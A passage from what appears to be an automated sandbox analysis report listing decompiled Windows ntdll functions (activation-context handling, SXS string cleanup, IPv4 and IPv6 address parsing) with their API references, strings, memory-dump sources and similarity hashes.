				_t85 =  *_t40;
				_v96 = _t40;
				if(_t85 == 0) {
					goto L14;
				}
				_t67 =  *(_t85 + 8) & 0x00000008;
				asm("sbb ecx, ecx");
				_t79 =  ~_t67 & _t85;
				if(_t67 == 0 ||  *((intOrPtr*)(_t79 + 0xc)) != _t80) {
					goto L22;
				} else {
					_t82 = _t85;
					goto L8;
				}
			}

0x6a914368
0x6a914370
0x6a914372
0x6a91437e
0x6a914380
0x6a97072a
0x6a97072d
0x6a970732
0x6a970744
0x6a970744
0x6a970746
0x6a970748
0x6a97074d
0x6a97076f
0x6a97076f
0x6a97077b
0x6a97077b
0x6a970780
0x6a970780
0x6a970782
0x6a970786
0x6a970798
0x6a970788
0x6a970792
0x6a970794
0x6a970794
0x6a97079c
0x6a970776
0x6a970776
0x00000000
0x6a97079e
0x6a97079e
0x6a9707a7
0x6a9707a9
0x6a9707ac
0x6a9707be
0x6a9707ae
0x6a9707b8
0x6a9707ba
0x6a9707ba
0x6a9707c2
0x00000000
0x00000000
0x00000000
0x6a9707c2
0x6a9707c6
0x00000000
0x00000000
0x6a9707c8
0x6a9707d1
0x6a9707d6
0x6a9707d7
0x6a9707df
0x6a9707e3
0x6a9707e7
0x6a9707eb
0x6a9707f3
0x6a9143fb
0x6a9143fb
0x6a9143fd
0x6a9143fd
0x6a914400
0x6a914404
0x6a970800
0x6a970805
0x6a970805
0x6a91440c
0x6a914412
0x6a914414
0x6a914414
0x6a914419
0x6a91441b
0x6a91441f
0x6a914423
0x6a914425
0x6a914429
0x6a91442a
0x6a91442b
0x6a914436
0x6a914436
0x6a97079c
0x6a914386
0x6a91438b
0x00000000
0x00000000
0x6a91439d
0x6a970739
0x6a97073a
0x6a97073f
0x00000000
0x6a97073f
0x6a9143ae
0x6a9143b9
0x6a9143c2
0x6a9143ca
0x6a970757
0x6a970758
0x6a970767
0x6a97076c
0x00000000
0x6a97076c
0x6a9143d0
0x6a9143d2
0x6a9143d8
0x00000000
0x00000000
0x6a9143dd
0x6a9143e4
0x6a9143e6
0x6a9143ea
0x00000000
0x6a9143f9
0x6a9143f9
0x00000000
0x6a9143f9

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid flags 0x%08lx,RtlDeactivateActivationContext,FFFFFFFE), ref: 6A970748
DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix,RtlDeactivateActivationContext,?,?), ref: 6A970767
RtlRaiseStatus.1105(C000000D), ref: 6A97077B
RtlRaiseException.1105(?,?,?), ref: 6A9707F3
RtlReleaseActivationContext.1105(?), ref: 6A970800

Strings

SXS: %s() called with invalid flags 0x%08lx, xrefs: 6A970732
SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 6A97073F
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 6A97075E
RtlDeactivateActivationContext, xrefs: 6A97072D, 6A97073A, 6A970759

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintRaise$ActivationContextExceptionReleaseStatus
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 1148088771-1245972979
Opcode ID: 1dc3c504ccf4685ac87e2155a40d5a048b2cb02c45abc5b937f087343d545dbc
Instruction ID: ea2ba32d12b31faf107172468a840f1a8cbbdf18335774fdc085681f22bb2b3a
Opcode Fuzzy Hash: 1dc3c504ccf4685ac87e2155a40d5a048b2cb02c45abc5b937f087343d545dbc
Instruction Fuzzy Hash: 6241C371654A019FD321CE19CC81B2AB3E9EFC4756F31852DE8659B281DF35E8018FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A955969, Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E6A955969(void* __ecx) {
				intOrPtr _v8;
				void* _v12;
				short* _t29;
				intOrPtr _t32;
				signed int* _t37;
				signed int _t38;
				void* _t41;
				intOrPtr _t43;
				signed int** _t44;
				signed int* _t45;
				void _t47;
				intOrPtr* _t49;
				void* _t51;

				_push(__ecx);
				_push(__ecx);
				_t51 = __ecx;
				if(__ecx == 0) {
					E6A9B5100(__ecx, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x20c, "This != NULL");
					_t47 = 0xc00000e5;
					L9:
					return _t47;
				}
				if( *((char*)(__ecx + 0x28)) == 0) {
					L7:
					_t47 = 0;
					L8:
					memset(_t51, 0, 0x2c);
					goto L9;
				}
				_t41 =  *(__ecx + 0x20);
				if(_t41 == 0 ||  *((intOrPtr*)(_t41 + 4)) == 0) {
					_t45 =  *(_t51 + 0x1c);
					if(_t45 != 0) {
						if(_t45[1] !=  *((intOrPtr*)(_t51 + 4))) {
							goto L5;
						}
						_t38 =  *_t51 & 0x0000ffff;
						if(_t38 > _t45[0]) {
							_push("rUS.Length <= This->PrivatePreallocatedString->MaximumLength");
							_push(0x219);
							goto L14;
						}
						 *_t45 = _t38;
						_t44 =  *(_t51 + 0x24);
						if(_t44 == 0) {
							goto L7;
						}
						_t37 =  *(_t51 + 0x1c);
						L19:
						 *_t44 = _t37;
						goto L7;
					}
					L5:
					if(_t41 == 0) {
						_t49 = _t51 + 8;
						if(_t49 != 0) {
							_t32 =  *_t49;
							if(_t32 != 0) {
								_t43 =  *((intOrPtr*)(_t51 + 0xc));
								if(_t32 != _t43) {
									_v8 = _t32;
									RtlFreeUnicodeString( &_v12);
									_t43 =  *((intOrPtr*)(_t51 + 0xc));
								}
								 *_t49 = _t43;
								 *((intOrPtr*)(_t51 + 0x10)) =  *((intOrPtr*)(_t51 + 0x14));
							}
						}
						_t29 =  *((intOrPtr*)(_t51 + 0xc));
						 *((intOrPtr*)(_t51 + 4)) = _t29;
						if(_t29 != 0) {
							 *_t29 = 0;
						}
						 *_t51 = 0;
						 *((short*)(_t51 + 2)) =  *((intOrPtr*)(_t51 + 0x14));
						goto L7;
					}
					 *_t41 =  *_t51;
					 *((intOrPtr*)(_t41 + 4)) =  *((intOrPtr*)(_t51 + 4));
					_t44 =  *(_t51 + 0x24);
					if(_t44 != 0) {
						_t37 =  *(_t51 + 0x20);
						goto L19;
					}
					goto L7;
				} else {
					_push("(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)");
					_push(0x214);
					L14:
					_push("minkernel\\ntdll\\sxsisol.cpp");
					_push("Internal error check failed");
					E6A9B5100(_t41);
					_t47 = 0xc00000e5;
					goto L8;
				}
			}

0x6a95596e
0x6a95596f
0x6a955971
0x6a955976
0x6a98f9b3
0x6a98f9b8
0x6a9559c6
0x6a9559cd
0x6a9559cd
0x6a955980
0x6a9559b7
0x6a9559b7
0x6a9559b9
0x6a9559be
0x00000000
0x6a9559c3
0x6a955982
0x6a955987
0x6a955993
0x6a955998
0x6a98f9f7
0x00000000
0x00000000
0x6a98f9fd
0x6a98fa04
0x6a98f9ce
0x6a98f9d3
0x00000000
0x6a98f9d3
0x6a98fa06
0x6a98fa09
0x6a98fa0e
0x00000000
0x00000000
0x6a98fa14
0x6a98fa17
0x6a98fa17
0x00000000
0x6a98fa17
0x6a95599e
0x6a9559a0
0x6a98fa1e
0x6a98fa23
0x6a98fa25
0x6a98fa29
0x6a98fa2b
0x6a98fa30
0x6a98fa32
0x6a98fa39
0x6a98fa3e
0x6a98fa3e
0x6a98fa44
0x6a98fa46
0x6a98fa46
0x6a98fa29
0x6a98fa49
0x6a98fa4c
0x6a98fa51
0x6a98fa55
0x6a98fa55
0x6a98fa5a
0x6a98fa61
0x00000000
0x6a98fa61
0x6a9559a8
0x6a9559ad
0x6a9559b0
0x6a9559b5
0x6a9559ce
0x00000000
0x6a9559ce
0x00000000
0x6a98f9c2
0x6a98f9c2
0x6a98f9c7
0x6a98f9d8
0x6a98f9d8
0x6a98f9dd
0x6a98f9e2
0x6a98f9e7
0x00000000
0x6a98f9e7

APIs

memset.1105(?,00000000,0000002C,?,00000000,?,?,?,6A93291C), ref: 6A9559BE
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,0000020C,This != NULL,?,00000000,?,?,?,6A93291C), ref: 6A98F9B3
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,00000219,rUS.Length <= This->PrivatePreallocatedString->MaximumLength,?,00000000,?,?,?,6A93291C), ref: 6A98F9E2

Strings

(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL), xrefs: 6A98F9C2
This != NULL, xrefs: 6A98F99F
rUS.Length <= This->PrivatePreallocatedString->MaximumLength, xrefs: 6A98F9CE
Internal error check failed, xrefs: 6A98F9AE, 6A98F9DD
minkernel\ntdll\sxsisol.cpp, xrefs: 6A98F9A9, 6A98F9D8

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Assert$memset
String ID: (This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)$Internal error check failed$This != NULL$minkernel\ntdll\sxsisol.cpp$rUS.Length <= This->PrivatePreallocatedString->MaximumLength
API String ID: 2494167153-3589341846
Opcode ID: 253dfa885f78eff41b5f92e189cfa62dbafcbececd444586721152a6243b50cf
Instruction ID: 2762f0424e48fe66c8e63b0ff89ea15ab928e7cd3f48153d439bcbcade8d79b5
Opcode Fuzzy Hash: 253dfa885f78eff41b5f92e189cfa62dbafcbececd444586721152a6243b50cf
Instruction Fuzzy Hash: D3318D74245701AFE724CF29C851E26B3F8EF94728B71991EE89A97641EF30E841C754

Uniqueness

Uniqueness Score: -1.00%

Function 6A910BD0, Relevance: 15.3, APIs: 10, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6A910BD0(wchar_t* _a4, wchar_t** _a8, intOrPtr _a12) {
				char _v5;
				wchar_t* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				wchar_t* _v28;
				signed int _v32;
				long _t110;
				wchar_t** _t113;
				wchar_t* _t114;
				wchar_t* _t115;
				long _t116;
				long _t117;
				signed int _t118;
				int _t121;
				int _t122;
				void* _t123;
				wchar_t** _t126;
				int _t127;
				int _t128;
				wchar_t** _t129;
				signed int _t130;
				wchar_t* _t134;
				char _t135;
				wchar_t** _t138;
				char _t141;
				wchar_t** _t144;
				intOrPtr _t145;
				wchar_t* _t146;
				signed int _t147;
				long _t150;
				wchar_t** _t151;
				void* _t153;
				intOrPtr _t154;
				wchar_t* _t155;
				void* _t157;

				_t146 = _a4;
				_t144 = 0;
				_t129 = 0;
				_v20 = 0;
				_v28 = 0;
				_v5 = 0;
				_t150 =  *_t146 & 0x0000ffff;
				_v12 = 0;
				_v16 = 0;
				_v32 = 0;
				_v24 = 0;
				if(_t150 == 0) {
					_t134 = 0;
					L10:
					_t151 = _v20;
					 *_a8 = _t146;
					if(_t151 != 0) {
						if(_t151 != 3) {
							L13:
							return 0xc000000d;
						}
						_t134 = _t134 + 1;
						_v12 = _t134;
					}
					_t147 = _v32;
					if(_t147 != 0 || _t134 == 7) {
						if(_t129 != 1) {
							if(_t129 != 2) {
								goto L13;
							}
							_t145 = _a12;
							 *((short*)(_t145 + _v24 * 2)) = 0;
							L68:
							if(_t147 != 0) {
								_t153 = _t145 + _t147 * 2;
								_t89 = _t145 + 0x10; // 0x10
								memmove(_t89 + (_t147 - _t134) * 2, _t153, _t134 - _t147 + _t134 - _t147);
								memset(_t153, 0, 8 - _v12 + 8 - _v12);
							}
							return 0;
						}
						if(_t151 != 0) {
							if(_v16 > 3) {
								goto L13;
							}
							_t135 = wcstol(_v28, 0, 0xa);
							_t157 = _t157 + 0xc;
							if(_t135 > 0xff) {
								goto L13;
							}
							_t145 = _a12;
							 *((char*)(_t151 + _v24 * 2 + _t145)) = _t135;
							_t134 = _v12;
							goto L68;
						}
						if(_v16 > 4) {
							goto L13;
						}
						_t110 = wcstol(_v28, _t151, 0x10);
						_t145 = _a12;
						_t157 = _t157 + 0xc;
						 *((short*)(_t145 + _v24 * 2)) = _t110;
						_t134 = _v12;
						goto L68;
					} else {
						goto L13;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					_t113 = _t129;
					if(_t113 == 0) {
						L15:
						if(_t150 == 0x3a) {
							if(_t144 != 0 || _v12 > _t144) {
								L9:
								_t134 = _v12;
								goto L10;
							} else {
								_t114 =  &(_t146[0]);
								if(_t146[0] != 0x3a) {
									goto L9;
								}
								_t130 = _v24;
								_t154 = _a12;
								_v32 = 1;
								_v12 = 2;
								 *((short*)(_t154 + _t130 * 2)) = 0;
								_v24 = 1 + _t130;
								_t146 = _t114;
								_t47 =  &(_t144[0]); // 0x2
								_t129 = _t47;
								L49:
								_t115 = _v28;
								if(_t115 == 0) {
									goto L24;
								}
								if(_t144 != 0) {
									if(_v16 > 3) {
										goto L13;
									}
									_t116 = wcstol(_t115, 0, 0xa);
									_t157 = _t157 + 0xc;
									if(_t116 > 0xff) {
										goto L13;
									}
									_t144 = _v20;
									 *(_t144 + _v24 * 2 + _t154 - 1) = _t116;
									_t141 = _v5;
									goto L24;
								}
								if(_v16 > 4) {
									goto L13;
								}
								_t117 = wcstol(_t115, _t144, 0x10);
								_t144 = _v20;
								_t157 = _t157 + 0xc;
								_t118 = _v24;
								 *((short*)(_t154 + _t118 * 2)) = _t117;
								_t141 = _v5;
								_v24 = 1 + _t118;
								goto L24;
							}
						}
						_t134 = _v12;
						if(_t134 > 7 || _t150 >= 0x80) {
							goto L10;
						} else {
							_t121 = iswctype(_t150, 4);
							_t157 = _t157 + 8;
							if(_t121 != 0) {
								_t144 = _v20;
								_t129 = 1;
								_t138 = 0;
								_v28 = _t146;
								_v16 = 1;
								L23:
								_v5 = _t138;
								goto L24;
							}
							_t122 = iswctype(_t150, 0x80);
							_t157 = _t157 + 8;
							if(_t122 == 0) {
								goto L9;
							}
							_t144 = _v20;
							if(_t144 != 0) {
								goto L9;
							}
							_t129 = 1;
							_v28 = _t146;
							_v16 = 1;
							L22:
							_t138 = 1;
							goto L23;
						}
					}
					_t123 = _t113 - 1;
					if(_t123 != 0) {
						if(_t123 == 1) {
							goto L15;
						}
						L39:
						if(_t129 == 1) {
							goto L24;
						}
						_t154 = _a12;
						goto L49;
					}
					if(_t150 >= 0x80) {
						L7:
						if(_t150 == 0x3a) {
							if(_t144 != 0) {
								goto L9;
							}
							_t155 = _v12;
							if(_t155 > 6) {
								goto L9;
							}
							if(_t146[0] != 0x3a) {
								_t129 = 0;
								_t126 = 1;
								L38:
								_v12 = _t155 + _t126;
								goto L39;
							}
							if(_v32 != _t144) {
								goto L9;
							}
							_t146 =  &(_t146[0]);
							_v32 = _t155 + 1;
							_t129 = 2;
							_t126 = 2;
							goto L38;
						}
						if(_t150 == 0x2e) {
							if(_t141 != 0 || _t144 > 2 || _v12 > 6) {
								goto L9;
							} else {
								_t154 = _a12;
								_t144 =  &(_t144[0]);
								_v20 = _t144;
								_t129 = 0;
								goto L49;
							}
						}
						goto L9;
					}
					_t127 = iswctype(_t150, 4);
					_t157 = _t157 + 8;
					if(_t127 != 0) {
						_v16 = 1 + _v16;
						_t141 = _v5;
						_t144 = _v20;
						goto L24;
					}
					_t128 = iswctype(_t150, 0x80);
					_t144 = _v20;
					_t157 = _t157 + 8;
					if(_t128 != 0) {
						_v16 =  &(_v16[0]);
						if(_t144 == 0) {
							goto L22;
						}
						goto L9;
					}
					_t141 = _v5;
					goto L7;
					L24:
					_t150 = _t146[0] & 0x0000ffff;
					_t146 =  &(_t146[0]);
				} while (_t150 != 0);
				goto L9;
			}

0x6a910bdb
0x6a910bde
0x6a910be0
0x6a910be2
0x6a910be7
0x6a910bea
0x6a910bed
0x6a910bf0
0x6a910bf3
0x6a910bf6
0x6a910bf9
0x6a910bff
0x6a910d14
0x6a910c69
0x6a910c6c
0x6a910c6f
0x6a910c73
0x6a96e8fd
0x6a910c8d
0x00000000
0x6a910c8d
0x6a96e903
0x6a96e904
0x6a96e904
0x6a910c79
0x6a910c7e
0x6a96e90f
0x6a96e97b
0x00000000
0x00000000
0x6a96e981
0x6a96e989
0x6a96e98d
0x6a96e98f
0x6a96e993
0x6a96e99d
0x6a96e9a5
0x6a96e9b8
0x6a96e9bd
0x00000000
0x6a96e9c0
0x6a96e913
0x6a96e944
0x00000000
0x00000000
0x6a96e956
0x6a96e958
0x6a96e961
0x00000000
0x00000000
0x6a96e96a
0x6a96e970
0x6a96e973
0x00000000
0x6a96e973
0x6a96e919
0x00000000
0x00000000
0x6a96e925
0x6a96e92a
0x6a96e931
0x6a96e937
0x6a96e93b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a910c05
0x6a910c05
0x6a910c07
0x6a910c0a
0x6a910c9b
0x6a910c9f
0x6a96e82f
0x6a910c66
0x6a910c66
0x00000000
0x6a96e83e
0x6a96e843
0x6a96e846
0x00000000
0x00000000
0x6a96e84c
0x6a96e851
0x6a96e854
0x6a96e85b
0x6a96e862
0x6a96e867
0x6a96e86a
0x6a96e86c
0x6a96e86c
0x6a96e86f
0x6a96e86f
0x6a96e874
0x00000000
0x00000000
0x6a96e87c
0x6a96e8b2
0x00000000
0x00000000
0x6a96e8bd
0x6a96e8c2
0x6a96e8ca
0x00000000
0x00000000
0x6a96e8d0
0x6a96e8d9
0x6a96e8dd
0x00000000
0x6a96e8dd
0x6a96e882
0x00000000
0x00000000
0x6a96e88c
0x6a96e891
0x6a96e898
0x6a96e89b
0x6a96e89e
0x6a96e8a3
0x6a96e8a6
0x00000000
0x6a96e8a6
0x6a96e82f
0x6a910ca5
0x6a910cab
0x00000000
0x6a910cb7
0x6a910cba
0x6a910cbf
0x6a910cc4
0x6a96e8e5
0x6a96e8e8
0x6a96e8ed
0x6a96e8ef
0x6a96e8f2
0x6a910cf0
0x6a910cf0
0x00000000
0x6a910cf0
0x6a910cd0
0x6a910cd5
0x6a910cda
0x00000000
0x00000000
0x6a910cdc
0x6a910ce1
0x00000000
0x00000000
0x6a910ce3
0x6a910ce8
0x6a910ceb
0x6a910cee
0x6a910cee
0x00000000
0x6a910cee
0x6a910cab
0x6a910c10
0x6a910c13
0x6a96e7a1
0x00000000
0x00000000
0x6a96e7f9
0x6a96e7fc
0x00000000
0x00000000
0x6a96e802
0x00000000
0x6a96e802
0x6a910c21
0x6a910c52
0x6a910c56
0x6a96e7b9
0x00000000
0x00000000
0x6a96e7bf
0x6a96e7c5
0x00000000
0x00000000
0x6a96e7d0
0x6a96e7ed
0x6a96e7ef
0x6a96e7f4
0x6a96e7f6
0x00000000
0x6a96e7f6
0x6a96e7d5
0x00000000
0x00000000
0x6a96e7de
0x6a96e7e1
0x6a96e7e4
0x6a96e7e9
0x00000000
0x6a96e7e9
0x6a910c60
0x6a96e809
0x00000000
0x6a96e822
0x6a96e822
0x6a96e825
0x6a96e826
0x6a96e829
0x00000000
0x6a96e829
0x6a96e809
0x00000000
0x6a910c60
0x6a910c26
0x6a910c2b
0x6a910c30
0x6a96e7a9
0x6a96e7ac
0x6a96e7af
0x00000000
0x6a96e7af
0x6a910c3c
0x6a910c41
0x6a910c44
0x6a910c49
0x6a910d08
0x6a910d0d
0x00000000
0x00000000
0x00000000
0x6a910d0f
0x6a910c4f
0x00000000
0x6a910cf3
0x6a910cf3
0x6a910cf7
0x6a910cfa
0x00000000

APIs

iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6A910C26
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6A910C3C
iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6A910CBA
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6A910CD0
wcstol.1105(?,00000000,00000010,00000000,?,00000000), ref: 6A96E88C

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$wcstol
String ID:
API String ID: 3196148086-0
Opcode ID: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction ID: 23279cef728c6d1406e87d4e9b7dd4f042d7e9ddb470960112f24e81349f59a5
Opcode Fuzzy Hash: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction Fuzzy Hash: 31919E75D0821AABDB20CE58C8857EFB7B5FF56304F358029D8506B341EB32DA668F91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9171D0, Relevance: 13.7, APIs: 9, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6A9171D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, short* _a16) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _t35;
				void* _t39;
				void* _t40;
				void* _t41;
				void* _t43;
				void* _t49;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t66;
				void* _t69;
				void* _t70;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				intOrPtr* _t82;
				signed int _t83;
				signed int _t84;
				short* _t85;
				intOrPtr _t86;
				intOrPtr* _t87;
				intOrPtr* _t88;

				if(_a4 == 0 || _a12 == 0) {
					L4:
					return 0xc000000d;
				} else {
					_t85 = _a16;
					if(_t85 == 0 || E6A917220(_a4, _a8,  &_v12, _a12) < 0) {
						goto L4;
					} else {
						_t87 = _v12;
						_t35 =  *_t87;
						if(_t35 != 0x3a) {
							if(_t35 != 0) {
								goto L4;
							}
							_v8 = _v8 & 0x00000000;
							L37:
							 *_t85 = _v8;
							return 0;
						}
						_v8 = _v8 & 0x00000000;
						_t88 = _t87 + 1;
						_t38 = 0xa;
						_v12 = _t38;
						_t83 = 0x10;
						if( *_t88 == 0x30) {
							_t12 = _t88 + 1; // 0x2
							_t82 = _t12;
							_v12 = 8;
							_t88 = _t82;
							_t38 =  *_t88;
							if(_t38 == 0x78 || _t38 == 0x58) {
								_v12 = _t83;
								_t15 = _t82 + 1; // 0x3
								_t88 = _t15;
							}
						}
						_t66 =  *_t88;
						if(_t66 == 0) {
							L33:
							if(_t66 != 0) {
								goto L37;
							}
							goto L4;
						} else {
							do {
								_t86 = _t66;
								_t88 = _t88 + 1;
								_t39 = E6A95CB30(_t38, _t86);
								_pop(_t69);
								if(_t39 == 0) {
									_t84 = _v12;
									L18:
									_t40 = 0x10;
									if(_t84 != _t40) {
										goto L4;
									}
									_t41 = E6A95CB30(_t40, _t86);
									_pop(_t70);
									if(_t41 == 0 || E6A95CDD0(_t70, _t86) == 0) {
										goto L4;
									} else {
										_t43 = E6A95CB30(_t42, _t86);
										_pop(_t72);
										if(_t43 == 0 || E6A95CCE0(_t72, _t86) == 0) {
											_push(0x41);
										} else {
											_push(0x61);
										}
										_pop(_t73);
										_t48 = ((_v8 & 0x0000ffff) << 4) - _t73 + 0xa + _t86;
										if(((_v8 & 0x0000ffff) << 4) - _t73 + 0xa + _t86 > 0xffff) {
											goto L4;
										} else {
											_v8 = _v8 << 4;
											_t49 = E6A95CB30(_t48, _t86);
											_pop(_t74);
											if(_t49 == 0 || E6A95CCE0(_t74, _t86) == 0) {
												_push(0x41);
											} else {
												_push(0x61);
											}
											_pop(_t75);
											_t76 = 0xa;
											_t38 = _t66 - _t75 + _t76;
											_v8 = _v8 + _t66 - _t75 + _t76;
											goto L31;
										}
									}
								}
								_t54 = E6A95CC80(_t69, _t86);
								_t84 = _v12;
								if(_t54 == 0) {
									goto L18;
								}
								_t55 = _t66;
								_v16 = _t55;
								if(_t55 + 0xffffffd0 >= _t84) {
									goto L18;
								}
								if((_v8 & 0x0000ffff) * (_t84 & 0x0000ffff) + 0xffffffd0 + _t86 > 0xffff) {
									goto L4;
								}
								_t38 = _t84 * _v8 + 0xffffffd0 + _v16 & 0x0000ffff;
								_v8 = _t84 * _v8 + 0xffffffd0 + _v16 & 0x0000ffff;
								L31:
								_t66 =  *_t88;
							} while (_t66 != 0);
							_t85 = _a16;
							goto L33;
						}
					}
				}
			}

0x6a9171df
0x6a917208
0x00000000
0x6a9171e7
0x6a9171e7
0x6a9171ec
0x00000000
0x6a9722f2
0x6a9722f2
0x6a9722f5
0x6a9722f9
0x6a972446
0x00000000
0x00000000
0x6a97244c
0x6a972450
0x6a97245a
0x00000000
0x6a97245a
0x6a9722ff
0x6a972303
0x6a972306
0x6a97230c
0x6a97230f
0x6a972310
0x6a972312
0x6a972312
0x6a972315
0x6a97231c
0x6a97231e
0x6a972322
0x6a972328
0x6a97232b
0x6a97232b
0x6a97232b
0x6a972322
0x6a972330
0x6a972334
0x6a97243b
0x6a97243d
0x00000000
0x00000000
0x00000000
0x6a97233a
0x6a97233a
0x6a97233a
0x6a97233d
0x6a97233f
0x6a972344
0x6a972347
0x6a972399
0x6a97239c
0x6a97239e
0x6a9723a2
0x00000000
0x00000000
0x6a9723a9
0x6a9723ae
0x6a9723b1
0x00000000
0x6a9723c6
0x6a9723c7
0x6a9723cc
0x6a9723cf
0x6a9723e0
0x6a9723dc
0x6a9723dc
0x6a9723dc
0x6a9723e9
0x6a9723ef
0x6a9723f6
0x00000000
0x6a9723fc
0x6a9723fc
0x6a972401
0x6a972406
0x6a972409
0x6a97241a
0x6a972416
0x6a972416
0x6a972416
0x6a97241c
0x6a972426
0x6a972427
0x6a97242a
0x00000000
0x6a97242a
0x6a9723f6
0x6a9723b1
0x6a97234a
0x6a97234f
0x6a972355
0x00000000
0x00000000
0x6a972357
0x6a97235b
0x6a972364
0x00000000
0x00000000
0x6a97237a
0x00000000
0x00000000
0x6a97238e
0x6a972391
0x6a97242e
0x6a97242e
0x6a972430
0x6a972438
0x00000000
0x6a972438
0x6a972334
0x6a9171ec

APIs

RtlIpv4StringToAddressA.1105(00000000,?,00000000,00000000), ref: 6A9171FB

Part of subcall function 6A917220: __isascii.1105(0000000A,?), ref: 6A917275
Part of subcall function 6A917220: isdigit.1105(00000000,?), ref: 6A917283

__isascii.1105(?,00000000,?,00000000,00000000), ref: 6A97233F
isdigit.1105(?,00000000,?,00000000,00000000), ref: 6A97234A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit$AddressIpv4String
String ID:
API String ID: 960699662-0
Opcode ID: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction ID: 3674b4850b19d3565a78434c2d3d5e87b2b51b171235461f2bbcf0ce3c884fee
Opcode Fuzzy Hash: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction Fuzzy Hash: 19416D3564411BAAEB218E24D8517FE37B89F12724F35456AE890EB1C0DF38D943D770

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A46A4, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6A9A46A4(void* __ecx, intOrPtr* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				int _v28;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t120;
				intOrPtr _t121;
				signed int _t126;
				signed int _t127;
				intOrPtr* _t145;
				intOrPtr* _t147;
				signed int _t148;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr* _t151;
				signed int _t152;
				void* _t153;
				intOrPtr _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t167;
				int _t168;
				intOrPtr _t169;
				signed int _t171;
				intOrPtr* _t172;
				intOrPtr* _t174;
				void* _t175;
				short* _t176;
				signed int _t177;
				void* _t178;

				_t153 = __ecx;
				_t177 = 0;
				_v20 = 0xc00000e5;
				_t172 = _a12;
				_t145 = __edx;
				_v8 = 0;
				_v24 = 0;
				if(_t172 != 0) {
					 *_t172 = 0;
				}
				_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x18)) + _t153 + 8));
				_v16 =  *_t145;
